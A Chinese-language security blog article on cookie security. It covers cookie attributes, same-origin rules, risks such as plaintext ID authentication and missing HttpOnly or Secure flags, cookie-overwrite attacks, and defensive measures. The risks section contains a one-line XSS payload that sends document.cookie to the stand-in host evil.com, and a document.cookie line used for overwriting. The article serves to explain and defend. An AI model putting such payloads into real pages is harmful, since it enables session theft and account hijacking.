首发于226safe Team
浅谈cookie安全

浅谈cookie安全

文章作者:王艾

团队交流群:673441920

-----------------------------------------------------------

0x01 简介

1. cookie简述

由于HTTP协议是无状态的,而服务器端的业务必须是要有状态的。Cookie诞生的最初目的是为了存储web中的状态信息,以方便服务器端使用。比如判断用户是否是第一次访问网站。目前最新的规范是RFC 6265,它是一个由浏览器服务器共同协作实现的规范。服务端可以通过http的响应对cookie进行增加、修改和删除。而在客户端中也可以通过脚本语言如:JavaScript对其进行同样的操作。

2. cookie的组成结构

Cookie的字段一般分为:

[name] [value] [path] [domain] [expires] [secure] [httponly]
键 值 路径 所属域 过期时间 secure flag httponly flag

其中name=value是必选项,其它都是可选项

name: 一个唯一确定的cookie名称。通常来讲cookie的名称是不区分大小写的。

value: 存储在cookie中的字符串值。最好为cookie的name和value进行url编码

path: 表示这个cookie影响到的路径,浏览器跟会根据这项配置,像指定域中匹配的路径发送cookie。

domain: cookie对于哪个域是有效的。所有向该域发送的请求中都会包含这个cookie信息。这个值可以包含子域(如:yq.aliyun.com),也可以不包含它(如:.aliyun.com,则对于aliyun.com的所有子域都有效).

expires: 失效时间,表示cookie何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie)。如果不设置这个时间戳,浏览器会在页面关闭时即将删除所有cookie;不过也可以自己设置删除时间。这个值是GMT时间格式,如果客户端和服务器端时间不一致,使用expires就会存在偏差。

max-age: 与expires作用相同,用来告诉浏览器此cookie多久过期(单位是秒),而不是一个固定的时间点。正常情况下,max-age的优先级高于expires。

Secure flag , 安全标志,指定后,只有在使用SSL链接时候才能发送到服务器,如果是http链接则不会传递该信息。就算设置了secure 属性也并不代表他人不能看到你机器本地保存的 cookie 信息,所以不要把重要信息放cookie就对了服务器端设置

HttpOnly flag,HttpOnly: 告知浏览器不允许通过脚本document.cookie去更改这个值,同样这个值在document.cookie中也不可见。但在http请求张仍然会携带这个cookie。注意这个值虽然在脚本中不可获取,但仍然在浏览器安装目录中以文件形式存在。这项设置通常在服务器端设置。

3. cookie的同源策略

了解了Cookie的结构之后我们还需要知道关于Cookie的同源策略:

首先Cookie的同源策略是靠三元组name、domain、path来进行判断的,其中还有httponly和secure的限制。相对应的我们应该能想到Web的一个同源策略,它是靠scheme、domain、port来判断。


举例子: 在没有限制的情况下

test.com 能读取 test.com:8000的cookie

test.com 能读取 test.com的cookie

如果设置了 secure

test.com 就不能读取 test.com的cookie

如果设置了httponly

那么就无法通过js读写 test.com的cookie

一般情况下在同一个一级域名下共享cookie时,它的domain一般写做:domain=”.test.com”;

0x02 cookie的简单工作原理:

cookie分为 会话cookie 持久cookie ,会话cookie是指在不设定它的生命周期 expires 时的状态,前面说了,浏览器的开启到关闭就是一次会话,当关闭浏览器时,会话cookie就会跟随浏览器而销毁。当关闭一个页面时,不影响会话cookie的销毁。会话cookie就像我们没有办理积分卡时,单一的买卖过程,离开之后,信息则销毁。

  1. 打开 http://localhost:3000

2. 可以看到 Request Headers 并没有 Cookie 这个字段,在 Response Headers 中有了 Set-Cookie 这个字段,给客户端设置了cookie

3. 然后刷新一下页面,相当于重新向 http://localhost:3000/ 这个地址发起了一次请求。

4. 现在我们就可以看到 Cookie 字段已经带上了,再刷新几次看 Cookie 也还是在的。

所以cookie就是通过这样的方式进行工作的,利用服务端给设置的cookie值通过同源策略的限制来进行一个网站的验证访问

0x03 风险

  1. 仅利用cookie中进行身份验证(不利用session)

如果是单纯的把一个用户的身份验证放到Cookie中那么是很不安全的,例如:Uid=1,这个程序就是直接判断Cookie中的Uid来进行身份验证以及相关操作,我曾在互联网中找到过一个案例:

这个是典型的通过单纯的Cookie来进行验证身份,我们只需要修改一下UserId就可以越权获得别人的权限

2. httponly问题

如果说是关键的cookie没有作httponly限制,那么如果在cookie的有效域下有一个xss将会使得身份被盗取

某公司的个人信息页面未过滤特殊符号导致可以插入xss攻击代码,其中盗取cookie的代码可以简单写为new Image().src=”evil.com?”+escape(document.cookie)

你可以通过你自己网站的log日志里面找到cookie

然后替换此cookie利用别人身份登录网站

这种网站现如今也比较少见,减少了xss直接对身份进行攻击的危害

3. secure问题

当secure的限制没有开启时,那么在一个https的网站中,一个xss还是能通过http读取到https下的cookie,如图:

当secure的限制开启时,我们已经不能再同上图这样通过http读取一个https的网站下的cookie了,但是我们还有一个权限就是写权限。如图:


曾经有人就利用这种覆盖cookie的方法,对google进行了攻击,当登录了google的账号之后,使用者的搜索历史记录就会被记录在账号中,攻击者利用xss对cookie进行覆盖,受害者不知情的情况下,所有的操作都被记录到攻击者的账号中。成功盗取了受害者的操作。

4. 覆盖攻击的延伸

在现代的web应用中,会采用复杂的技术,一个页面也不再是单纯的页面了,很多的操作都会利用ajax等技术在不可见的地方进行操作。

这里可以延伸出一种攻击思路,既然httponly和secure限制了读取,但是在RFC中并没有说Cookie一定是唯一的啊,它是可以进行写入覆盖的比如:

a 登录了test.com 被设置了一个

cookie:user=admin;domain=”.test.com”;path=”/”;secure;httponly

看一下RFC的标准中没有明确提到cookie重名时怎么进行处理,其中一般通过path的长度和创建先后的时间进行判断优先级。

那么在一个test.com的页面下,有ajax请求了test.com/aaa,那么我们通过覆盖写入

document.cookie=”user=admin;domain=’.test.com’;path=’/aaa’;secure;httponly”

因为这个cookie的path比前一个长,所以只要是该路径下的操作都是以攻击者的身份进行。如图思路:

这个场景下,被注入了危害者的cookie,使用了受害者的钱给攻击者进行了充值,这个案例就非常的典型。

0x04 COOKIE防护

  1. 防止在 Cookies 中存放敏感信息

这种方法虽然实现了程序实现的简便性,但是确大大增加了验证的安全隐患,如上述的第一个案例,就是因为利用了cookie中的明文key value值验证身份导致了安全问题,建议用session来验证身份。

2. 加防篡改验证码,加个登录随机验证码

在用户登录时,多增加一层验证,需要验证两个 cookie,一个验证的是用户名,一个验证的是随机数,而这个随机数是系统自动产生的,某时间段内相对为唯一的 “验证码”。

这种方法的技术实现方式为:修改用户登录页面代码,当用户名和密码通过系统正确验证之后,从数据库中取出对应这个用户名的 randnum,并写入 cookie,也就是说此时类似于产生了两个 cookie。

这样以来,就算是攻击者通过不法手段伪造了管理员的用户名,但这个随机产生的验证码就很难猜到了,而且这个随机数是不停变化的,就能在一定程度上增加了cookie攻击的难度。

3. 利用加密方式防止明文值被破解

设置一些加密方式加密重点的值,以防止重要信息泄露如下加密后的值:

4. 强制要求开启HTTPS连接

服务器传送cookie时设置属性secure为true,表示创建的cookie只能在HTTPS连接中被浏览器传递到服务器端进行会话验证,如果是HTTP连接则不会传递该信息,所以很难被窃听到。

5. 对重要的值加上httponly标志

防止关键性的数据被恶意获取。

0x05 总结

对于cookie的实现,标准化是有一定安全问题的,所以在web应用实现cookie的同时,要注意各个方面的问题,不仅仅是对身份认证的盗取,可能还会有一些特殊场景下的cookie覆盖的危害。所以安全是各个方面的结合,在一些场景下有些危害是可以忽略的,但是在特殊的场景下,平时看似无关紧要的覆盖操作也是能带来很大的危害的。Cookie 可以也能被利用来进行XSS,CSRF等跨站攻击,它本身不是病毒也不是木马,对于主机本身不会产生威胁,但是容易被利用来进行攻击。所以最佳的防御应该是优化网站本身,设置复杂而周全的规则策略使攻击者不能获取到有效信息,从而来堵住cookie漏洞,同时也经常给站点打补丁。

发布于 2019-03-08

文章被以下专栏收录